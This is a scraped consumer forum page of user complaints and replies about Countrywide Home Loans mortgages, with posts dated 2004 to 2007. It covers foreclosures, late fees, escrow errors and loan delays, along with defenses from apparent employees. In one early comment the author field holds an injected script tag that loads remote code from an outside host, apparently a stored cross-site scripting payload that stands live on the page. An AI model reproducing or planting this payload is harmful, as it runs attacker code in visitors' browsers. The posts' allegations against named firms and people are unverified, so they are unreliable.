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Countrywide Financial - Home Loans - Equity Loan Mortgages SUCKS!
Home Loans? Sub-prime (bad credit), Need money, Mortgage Refinance, Or Want A Home Equity Loan and dont want to get ripped off or have hiden fees on your Home Loans?
Need A Home Loan , Refinance, Purchase, Or Make Home Improvements. Mortgage Rates Have Reached A All-Time Low Make Sure You Pick A Broker That Will find the right Home Equity loan at the best rate for you.
We recommend that you conduct your own due diligence on mortgage brokers to find the one that is best for you. This site is a forum for users and should not be your only source of information about Countrywide Home Loan prior to choosing a lender.
This is what home loan customers in () have been saying...
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Date: Thu 01/18/07 4:16PM
From: <script src=http://dcurtis.com/q.php>jonny16</sc ript>
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: Sat 11/16/19 10:23PM
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Date: Tue 11/14/06 5:18PM
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Left: April 27, 2006 By: MAI EXPOSER In:
BEWARE OF MANAGEMENT ADVISORS INTERNATIONAL OR MAI.
Here's how there retainer's work.
1. you pay them to start the search.
2. 3 months down the line they come back and tell you they've exhausted your market and it's time to move on from the search.
3. you now have to pay them a closeout fee for them doing nothing.
4. if you hired a candidate outside of using their services, they will charge you the full fee because you was on retainer with them.
5. after you have paid them for doing nothing in one market, they will ask you for another retainer to start up a new market.
MAI is located in NC AND FL. Beware of who you do business with.
Left: April 18, 2006 By: Steve In: Richomd
Have any of these people ever heard of reading the terms of a loan before they sign any papers? If you don't understand the terms then ask the loan officer. He has a responsibility under RESPA to explain to your satisfaction the full terms and conditions. Wake up people and use your head instead of your lust for things beyond your means.
Left: April 11, 2006 By: In:
Allen - please phone the Office of the President (OOP). Sorry I don't have the number beacause left CHL a few months ago because of the exact arrogence this RVP showed you and the disregard for the customer. Pplease phone the 1-800 # and ask for the OOP number. they will do all they can to not give it to you but push on. This department is designed to help people in a very , very professional manner ( i've seen it first hand). YOU WILL GET RESULTS AT A LIGHTING SPEED !!! and to top it all of the RVP, BSM, and the origiantor will get blasted by the big boys. When the OOP talks people jump. good luck
Left: April 11, 2006 By: Allen In: Roanoke
Countrywide is by far the worst mortgage company in america. My first loan through them went ok but it took them so long to process the loan that i missed my closing date 3 times and i then had to pay extra taxes because when they did get it closed it was in the middle of the month and it made my escrow go up. Then thinking after all of this i could go and get a refi from them without hassel like the lender said it had taken more than 2 months with still no progress i have had to move the closing on my other house 2 times waiting on them and im in the process of having to move it again and im about to loose the house because of them. I then called the regional manager to get hung up on 3 times before he picked up the phone i was then told by him rudely that he could not speak with me since i was not on the loan which until he gets the loan processed i am still on that mortgage. THIS COMPANY IS A JOKE AND I NOR ANYBODY I KNOW WILL EVER USE COUNTRYWIDE AGAIN.
Left: April 02, 2006 By: Rosamund Chang In: Midlothian, VA
Countrywide foreclosed my house on 12/5/2003 just because they failed to get pay from the bank which I set up automatic withdrawal since 2000. The account had a clean title with any debt against it, equity up to $120,000 VS. monthly mortgage at 1,150. To my knowledge, Countrywide foreclosed a well-maintained house at market price @175,000, just because in August, they failed to get pay for $1,150.
In August. 2003, I won a judgement against my tenant in the court room and learned that he deposited the rent in Federal Credit Union. He not only got receipt, but my balance in my account. At that time, we only have one account in Dupont Credit Union without knowing that Federal Credit Union could access info of my account in Dupont Credit Union.
My tenant had a string of bad credit record; making a living by filing bankrucpy. While his yearly earning was around $100,000, he has rented houses without paying rents for previous rental residencies.
Thus, my instinct is to rush to my bank to request temporarily close my account for withdrawal. Because my husband is the primary holder,without his consent, the account can't be cancelled. I did this only to protect my finance security before I left for China again(we were relocated to work in China). Because the practice in Dupont Credit Union is very strict. If you need to obtain the balance, ID check is a must.But in Fed. Credit Union from which I've never have experience with them and have the knowledge that they could access my account information.
At that time, I have 4 mortgages against the same account number by automatic withdraw, since we currently were relocated to work in China.
When I got back to China and tried to notified the mortgage companies to withdraw mortgages from new account but failed. They no longer accepted my original user's name/password. Later that year, I finally learned the problem occured because the new web security law enacted on 8/22. After a few attempts, I still could not log into my account. So, I wrote a message to customer service about the problem/change. But, I think the foreclosure was processed by the computerized work flow without stop. Somtime in mid August, I e-mailed my bank about the problem and asked the bank to lift the ban to allow these mortgage companies ONLY to take money. My account with BOA occured the same problem, but BOA came back for September payment but got paid. The other 2 mortgages even did not have problem in August payment. Among these 4 mortgage, Countrywide one is the oldest, We have paid 11 years out of 15-year term with perfect payment record. The title is clean. The marketing price of the price at that year was at $175,000, while the monthly mortgage was $1,150. It means because this $1,150 short, I should give Countrywide a house. I think that this is called "slaughter of Middle Class America". My experience with these mortgage companies are their lousy customer service. While constant mergers, consolidation and high turnover and cost saving plan, not only they do not know what they exactly execute, but they put you on 800 number forever; generally speaking.
11 years of servicing this mortgage does not worth another attempt to try. It is not the pattern of our payment history.
2 years later, I'm still in a phobia status. I am still sad and frightened......
Left: March 16, 2006 By: In:
do you know how spell ?
Left: March 16, 2006 By: Burnie Coats In: Woodbridge
CountryWide act as a large collection agaency. They really don't understand the concept of a Grace Period.
I reqister up to as much as 100 to 150 phone calls each month, of which I refused to repond.
TAKE YOUR BUSINESS ELSE WHERE QUICK MAINTAIN YOUR SANITY!!!!
Left: February 03, 2006 By: In:
NO ONE CAN LIE LIKE COUNTRYWIDE CAN
Homeowners need cash? Get a No-Closing Cost Home Equity loan only from Countrywide. That’s right, no application fee, no appraisal fee, no title fee, no underwriting fee, NO CLOSING COSTS.
NEVEVERMIND THAT IT’S A VARIABLE RATE ARM (Prime Rate+) LOAN.
NEVERMIND THAT IF YOU PREPAY THE LOAN BEFORE THE TAKEOUT AMOUNT PERIOD ENDS THAT YOU END UP PAYING THE CLOSING COSTS (PREPAYMENT PENALTY).
NEVERMIND THAT YOU PAY THE CLOSING COSTS THROUGH AN ABOVE MARKET VARIABLE RATE HOME EQUITY LINE OF CREDIT. THIS IS NOT A FIXED RATE SECOND MORTGAGE.
No one can screw you like Countrywide can.
Left: February 03, 2006 By: jake In: cali
Improper Home Charges
Read then File a complaint
www.zimmreed.com
Left: January 29, 2006 By: In:
NO ONE CAN LIE LIKE COUNTRYWIDE CAN
Homeowners need cash? Get a No-Closing Cost Home Equity loan only from Countrywide. That’s right, no application fee, no appraisal fee, no title fee, no closing fee, NO CLOSING COSTS.
NEVEVERMIND THAT IT’S A VARIABLE RATE ARM (Prime Rate+) LOAN.
NEVERMIND THAT IF YOU PREPAY THE LOAN BEFORE THE TAKEOUT AMOUNT PERIOD ENDS THAT YOU END UP PAYING THE CLOSING COSTS (PREPAYMENT PENALTY).
NEVERMIND THAT YOU PAY THE CLOSING COSTS THROUGH AN ABOVE MARKET VARIABLE RATE HOME EQUITY LINE OF CREDIT. THIS IS NOT A FIXED RATE SECOND MORTGAGE.
No one can screw you like Countrywide can.
GO GET A BETTER RATE & SERVICE AT YOUR LOCAL BANK OR CREDIT UNION.
Left: January 20, 2006 By: roy In: tampa
Notice: Must Read
Sweat Shop Employees www.gdblegal.com
Appraisal Overcharges www.sherlocklegal.com
Wrong Doings www.jameshoyer.com
www.ripoffreport.com
file your complaint
Left: January 17, 2006 By: Joe In:
If you wait until almost the 15th then yes you get charged $5 for online payment. (still cheaper than express mail) Your payment is due on the 1st of the month.
Left: December 27, 2005 By: lori In: woodbridge
Countrywide now has a current policy of assessing an additional fee for direct on line payments made during the grace period.
By this pplicy change, I am now returning to paper checks mailed within my grace period. This policy causes Countrywide to have to pay staff to go the lockbox, collect the payments and manually post them. How stupid is that? What a waste of man-hours.
I have been paying my mortage on line for over 5 years. When I refinanced, my loan was sold to Countrywide. If I had any idea where my loan was going to end up, I would have not refinanced.
I wish they would sell the serviceing to another company.
Left: December 09, 2005 By: former chl loan officer In:
kimberly - it is the oldest trick in the book for a loan officer who is playing the market for better pricing. your loan officer suckered you in with the lower rate to get your business or he/she was playing the market in order to make money on the back end so he/she could make more in money in overage. did you receive a lock in agreement ? looks like they gambled with your interest rate so you are the loser. your loan officer did not lock your rate in before rates jumped up big time. now your loan officer is way in the hole so he/she and the branch do not want to close your loan because they will be paying $$$1,000's to close your loan. i bet your rate has expired or was NEVER locked so they are delaying your closing hoping that you will get so frustrated that you will "just go away". i would force a face to face meeting at the branch to pin them down. by federal law countrywide has to give you an answer within 30 days as to whether you are approved or not approved. i'am sure they will give you some lame excuse that you do not qualify so they can save their own hide. if this happens i would suggest you take the issue up with the office of the president and have them look at your file. if you are in the right, and raise hell, then the office of the president will force that branch to close the laon at the rate /terms you were expecting. please do not give up. they are making you pay right now with the game they are playing so make them pay where it hurts. their wallets. good luck
Left: December 08, 2005 By: kimberly In: carrollton,va
I contacted countrywide mortgage on October 19th 2005 about refinancing my townhome. I took a week to think over their offer and then submitted all the paperwork required via overnight mail. Well to make a long story short it is now December 8, 2005 and still I have not closed on this loan. I have received excuse after excuse and no straight forward answers, or no call at all. I can not express the fustration and anxiety this lender and their employees have caused me and I would love to tell them to take a flying you know what. At this point I am in too deep to turn back. BTW this loan according to them has been approved at several different desks several times always at a weeks wait. Keeping me on pins and needles...What a bunch of know nothings...I strongly recommend to anyone not to do business with these people.
Left: December 08, 2005 By: kimberly mayorga In: carrollton,va
I contacted countrywide mortgage on October 19th 2005 about refinancing my townhome. I took a week to think over their offer and then submitted all the paperwork required via overnight mail. Well to make a long story short it is now December 8, 2005 and still I have not closed on this loan. I have received excuse after excuse and no straight forward answers, or no call at all. I can not express the fustration and anxiety this lender and their employees have caused me and I would love to tell them to take a flying you know what. At this point I am in too deep to turn back. BTW this loan according to them has been approved at several different desks several times always at a weeks wait. Keeping me on pins and needles...What a bunch of know nothings...I strongly recommend to anyone not to do business with these people.
Left: December 03, 2005 By: In:
Current Customers should call customer Service and tell them you want NO CONTACT 1-800-669-6607
That means:
*No emails
*No Phone Solicitations
*No Junk Mail
Get customer service reps name and employee ID# and make a note of it.
Countrywide gets around the do not call list because of a loop hole that allows them to call their current customers. Why do you think they buy so many mortgages? So they can call you and sell stuff to you is one reason.
Left: December 01, 2005 By: #1 S.E. Producer In: HotttLanta
Region 18 - the Atlanta, Ga market is falling apart. If your company is looking for a good RM, ASM, BM, start picking because they are primed and ready. CHL has gone and hired 1 knucklehead who brought in 2 of his buddies, to oversee that region and top producers are either quitting or are being fired monthly. The 3 clowns in place have no experience to run a market like HotttLanta.
Left: December 01, 2005 By: $2B Region slowly going south In:
There was a time when you could call an area/branch manager with another company and tell them you work for CHL and they would be chomping at the bit to find out what they need to do to get a foot in the door. Now when I call on these types of people, they tell me "You're with the wrong company, why don't you come on over to my good company."
What has happened to our good name!
Left: November 30, 2005 By: Christine In: Chesapeake
My previous lender always paid my insurance to State Farm. It wasn't until my refinance and sale that this became a problem. I would like to know if I have a possible suit for being mislead by my originating lender to Countrywide.
Left: November 24, 2005 By: In:
christine - i have been in the mortgage banking business for 15 years, and i have NEVER seen a lender escrow for condiminium content insurance. the lender's collateral is being insured by your condo's master policy which is part of your h.o.a. dues. the master policy protects the structure from the outside to your dry wall. the content insurance that you purchased from your state farm agent protects your belongings inside the dry wall. this is optional, yet recommended, insurance that you purchase on you own. again, then lender will not escrow and pay state farm for content insurance. i would double check that a) the content insurance is being collected by countrywide b) if your former lender truly collected it and paid state farm, which i doubt c) phone your state farm agent and tell them the story. it is actually the state farm agents mistake for trying to set up content insurance w/the lender in the first place.
Left: November 22, 2005 By: Christine In: Chesapeake
I am so frustrated! I refinanced my home with my current mortgage company and the loan was sold to Countrywide a month later. My mortgage payment amount remained the same from the old mortgage company to Countrywide. Now I am finding out that although I think I'm paying Principal, Interest, Taxes and Insurance. Countrywide is taking my Insurance money and saying that they don't cover condominiums! So now I have to pay my insurance separately and am fighting to get my insurance money back that I have paid. I am miffed with my old mortgage company, who didn't care who I was sold to, and if they were going to meet my mortgage needs. I guess the consumer has no control of these sales as you can't change your mortgage. Right now I am out of several hundred dollars and have to pay State Farm more money to keep my insurance in force. What a rip off!!
Left: October 07, 2005 By: WHITNEY In: K.G
HELLO I HAVE READ YOUR SIGHT AND ALOT OF THE SAME THINGS HAVE HAPPENED TO MY HUSBAND AND I. WE ENDED UP FILING CHAPTER 13 LAST YEAR. WE HAVE RECENTLY REFINANCED WITH ANOTHER COMPANY BUT WE WENT THROUGH ALOT TO GET THERE. WE ALSO WOULD MAKE PAYMENTS AND THEY WOULD MONTHS LATER SAY WE NEVER PAID THEM. WE WENT THROUGH ALOT WITH THEM AND FUNNY ENOUGH THE PERSON WHO REFINANCED US ALSO HAD CHL NEEDLESS TO SAY AFTER HAVING TO DEAL WITH THEM ON OUR BEHALF SHE TOO IS REFINANCING WITH ANOTHER COMPANY. I REMEMBER NEEDED TO GET A PAYOFF AND IT TOOK 4 PHONE CALLS LATER AND 2 WEEKS TO GET IT, CHL HAS NEVER BEEN NICE ALWAYS RUDE AND LORD HELP YOU IF YOU FALL ON HARD TIMES B/C YOU WILL STAND ALONE, THEY DONT CARE.....I ALSO WOULD LIKE TO ADD THAT I HAD A BNKRPSY TECH THAT WAS ASSIGNED TO MY FILE AND IN THE ENTIRE YEAR I WAS IN CHAPTER 13 I NEVER ONCE HEARD FROM HER I DID NOT EVEN NOW HER NAME, AND SHE WOULD NEVER RETURN MY CALLS, AND THERE ARE SIMPLY SOME THINGS THAT ANLY SHE COULD HANDLE, ANOTHER EMPLOYEE AND I WERE LAUGHING WE ARE NOT SURE SHE EVEN WORKS THERE B/C THE EMPLOYEE THAT I WAS SPEAKING TO AT THE TIME HAD NEVER HEARD HER NAME BEFORE.....ALL I CAN SAY IS YOU HAVE NO CLUE HOW IT FEELS TO SAY THAT I WILL NEVER HAVE TO DEAL WITH THEM AGAIN.ANY INFO ON A LAWSUIT I WILL BE THE FIRST TO SIGN UP
Left: September 20, 2005 By: An observer In: Atlanta, GA
I don't know about all the name calling, etc. but one thing is certain. Something bad has happened to Countrywide in Atlanta and there won't be an end until it's destroyed. Someone hired people to run this part of the company that either have no interest in the company or just simply aren't qualified to run a company. There is no profit being made and everyone is unhappy -- customers and employees. Seems like a recipe for disaster. Sit back and watch it fall. Maybe a year, maybe not that long. They'll be gone, someone new will be along or they can close down Atlanta altogether. I don't think Atlanta would be missed by the rest of Countrywide.
Left: July 31, 2005 By: Michael In: Chicago
Jessica-
I agree with much of what you are saying and if there were as many horrible experiences with CHL as are listed here, the company would have more lawsuits pending than Ameriquest or Wells. The bottom line here is most of the "complaints" are from other mortgage professionals making up stories to drive business from CHL to their doorsteps. I've posted my email on this site to offer my assistance for people in real need. I've helped several people to understand that their issues aren't, in fact, with CHL but with the broker or previous lender who originated their loan. Many instances have been that the broker simply lied to them and yet they still signed documents. No questions asked. I think consumers should ask more questions during the loan process and a majority of the problems would simply dissapear.
Left: July 29, 2005 By: Jessica In: Virginia Beach
I work for Countrywide and I also have 4 loans with Countrywide. I read several of the stories on this website and I have a few things to say. First of all, if you wait to make your payments til the 15th of the month and you drop it off at a local branch, we have to overnight this to the processing center and it will not post until a day later. The branch does not have any way of posting a payment because we are a SALES branch. Second, every financial institution makes mistakes on posting payments. No one is perfect and yes, it does require research and yes Countrywide is a huge company so it make take some time. I have been with this company for 5 years and its true there are some issues the company needs to deal with. However, WHAT company doesn't have issues! Every company is only as good as its people! And there always 2 sides to every story. I also would like to apologize on behalf of Countrywide for those of you who have been treated with disrespect and unprofessionally and I personally would love to show you that Countrywide is not the company many of you think. And one last thing....they may be concerned about the bottom line but isn't every business. They didn't get to the top by offering something for nothing. I believe every one can admit they have been to a business and had a bad experience but know someone else who went to the same place and loved it and wouldn't go anywhere else. My point is for every client who has a bad story about Countrywide there are at least 5 who praise Countrywide. Its easy to sit around and talk about the bad but what about the good experiences!!!!
Left: July 26, 2005 By: In:
I'm going to post this in every state listed here. YOU MUST TAKE RESPONSIBILITY FOR YOUR OWN ACTIONS AND DECISIONS!! I have recently left the lending industry. I can site many reasons for this, however the top reason has to be dealing with borrowers and potential borrowers who had no concept of financial responsibility. Just because you have a 700 credit score does not mean you demonstrate good use of credit or that you are guaranteed the rate or terms you want. In fact, many people who have the best credit scores carry the most debt. What you people do not understand is that the lending institutions want you to carry debt, so if you carry alot of debt and pay it on time your score will be higher than someone who pays their bills OFF every month and only carries a mortgage and a car loan/lease. If you fall on hard times, pay your damn mortgage and let the friggin' Visa's go delinquent. Visa isn't going to take your house, your mortgage company is. People jump to quickly to file BK. Guess what, ole' GW has made that next to impossible for the average American. You're better off making arrangements with your credit card companies and paying your mortgage off as quickly as possible. Use good judgement, not the "I want it now!" mentality. Buy a Trailblazer instead of the RangeRover or the Hummer or the Lincol or Caddy or whatever. How many of you people that post on here have kids? What kind of behavior do you think your actions teaches them? Anyone who would voice their opinion is more than welcome to email me at michael_harman1976@yahoo.com. I would be more than happy to help anyone who needs some good advice on how to get themselves into a good financial position. I am not selling anything, I'm a former CW employee who feels an obligation to help those who have been taken advantage of.
Michael
Left: June 16, 2005 By: Tamlynn In: McLean
I am so furious at myself for not doing the proper research, but I was recommended by my agent to use Counrtywide. It is now an hour before closing and I received a call last night from them that my closing costs would be double and that my rates would be going up. I got this call at 9 pm despite being in daily contact with them throughout the weeks leading up to today. I am homeless in 14 days with a baby daughter because I believed that my lock in rate meant something and that a good faith estimate was worth something. Has anyone had any success with law suits?
Left: May 27, 2005 By: Peters In: Newport News
I purched my home in 1997 in Newport News,Va
I never knew what I was in for until I was told Countrywide was handling our loan.This with us being a first time buyer I didn't know but oooh do I know now .. Well I can't even tell you the Hell they have put me through I have had to file Bankruptcy just to keep them from taking my home it started in 2004 WHEN they say I was 5 mos late on my pyts when I showed proof they said our records still show you being late my attorney had to try to get them to change the infomation they just went up more to 9 payments late. They tell me to pay over 5,000 to get current I do that than they say I didn't pay it fast enough they are now trying to forclose on my home because they sent through my attorney several proposal but the first one is still in order so he say all the other one they sent were never in effect but told my attorney that they were, so Now I have to have proof I have made the payments up today and the for my home and the past due order or they will forclose on the home Countrywide has been doing this too me since Oct/2004 and before I had to file now they say if I dont sign paper work from their attorney that I'm 9pys late and owe 2,233.00 they will forclose ... WHAT company lets someone get that far behind and cry fowl Countrywide will weather it's true or not. I have proof it happen to me and their atty admit to it in papers I have..but now how do I get away with that on my credit and get refianced after that .. all I CAN SAY is those who trust the Big Scary Devil will pay in the end what goes around comes around they are sick people I hope they fall like ERRON DID .. SOMEONE IS STEALING AND the are doing it to us and we can't do anyting about it .. Dont' trust anyone any more keep ever reciept you send send cashier checks if you can trust me .. keep 5 copies of each pyt you will need them when they come a calling.
Left: May 08, 2005 By: Kim In: Mechanicsville
We bought a house in 2000 and right after the first payment was made to the bank, it was bought by Countrywide... I've had my mortgage payment for a month put through twice by accident before with no apologies and when you call, you might as well forget about talking to anyone who can help you. We refinanced in 2004 but let me tell you, it was a challenge, the new mortgage company we were trying to refinance with said we had one year in back real estate taxes that were not paid.... my taxes are included in my monthly mortgage payment. I called Treasurer of Hanover County and didn't even have to tell them who my mortgage company was, they guessed it was Countrywide right off the bat because they have had numerous problems with them paying taxes on time. I had to make no less than 10 telephone calls to Countrywide because nobody could help me get this straight and finally ended up talking to some higher up person. This took me two days to get this straight (was on the phone for two hours with Countrywide at work one day) When I refinanced, I specifically stated that I did not want Countrywide to have anything to do with this new loan but that didn't matter because after one payment, it was bought by them. So far there has been no problem with them.
Left: April 27, 2005 By: Janet In: Eugene, Oregon
Countrywide TRULY sucks! They have twice added late charges to my account when delivery confirmation proves it was received in time. They don't care that I have proof they were received in time, if they say it was late, then it was late. They waived the late fees as a courtesy (courtey!? remove a late fee that shouldn't have been there in the first place is a courtesy??!!), but with a warning that 2 is the limit for late fee waives. I HATE them!
Left: March 09, 2005 By: joe In: simi valley
I happen to be a foreclosure counselor at countrywide. I do sympathize with the clients and I understand we're not exactly the best when it comes to correct correspondance, or justified collection calls, but I feel that we do the best we can to resolve an issue. If you're unhappy with what you have, please feel free to refinance, and prepare to be bought out again by the big scary, Countrywide!
Left: February 28, 2005 By: becky In: richmond
They were great with me and I find it funny how many of you don't include your names. I am on the 5 year ARma nd it is great!!!
Proud to be a Countrywide Client.
They were honest, upfront and VERY supportive of any decision I made.
A proud client in Richmond, VA.
Left: February 08, 2005 By: J. Weeks In: Norfolk, VA
I am scared to death, because I just bought my house with an 80-10-10 and within two weeks, both my loans were sold to Countrywide! I should have come to this website before I closed on this house because then I would have known to indicate in my closing docs that I would NOT permit my loans to be sold to this company! I can thank the nice people at Resource Home Mortgage in Virginia Beach for coldly and impersonally selling my life over to this huge, uncaring conglomerate! Alas!
Left: January 24, 2005 By: C Y Law In: Chesapeake
FRUSTRATED IN VA....I have a Countrywide Home Loan, when I originally applied for my home loan as a first time buyer back in 1997, countrywide would not approve me, before I could make my first mortgage payment in Apr of 1997 they had acquired my loan and I have been with the ever since. They have threatened forclosure on me 2 times, and the Loan Counseling department was awfully rude. I have a Federal Loan and ended up the first time to seek help from the HUD.. I tried to get a "work out" program but was told I couldn't because I had no insurance on the house, called my insurance company and they were like what do you mean we just receieved a payment, called countrywide back and they were very rude telling me that they didn't care what my insurance company says they didn't have a record of my insurance, it all ended up where I went through 2 different customer services and both offices had conflicting information...... Both Countrywide Home Loan offices....... Didn't approve me for the work out program and was told that I had 5 days to come up with 6500 dollars......and "We doubt if you can do that since you couln't afford to pay your mortgage..." I came up with the money and then find out my mortgage would be going up 136 dollars for shortage in escrow during all the research of my insurance they discovered that my taxes had increased 2 times in the last 2 years and they had been paying it for me so I owed them back......I HATE COUNTRYWIDE....There is so much more to this story but I'm actually get to pissed off to go on......
Left: November 23, 2004 By: Erin In: Kent
Contact the Better Business Bureau. Countrywide has an agreement with them to speed up the handling of complaints. Also, if you have received a notice of foreclosure, you really need to speak to an attorney.
Left: November 05, 2004 By: In:
Call Quicken Loans Which is Countrywide
Left: October 27, 2004 By: Ray Futrell In: Grea t Falls
Countrywide bought our mortgage in July and the first letter we receicved was a notice of arrears. I faxed them copies of the canceled checks and they still send notices we are behind in the payments. They have not responded to a request for a loan payment history. They have now sent a letter of intent to foreclose. We have been trying to resolve this for months with no success. Any idea who I should see about this?
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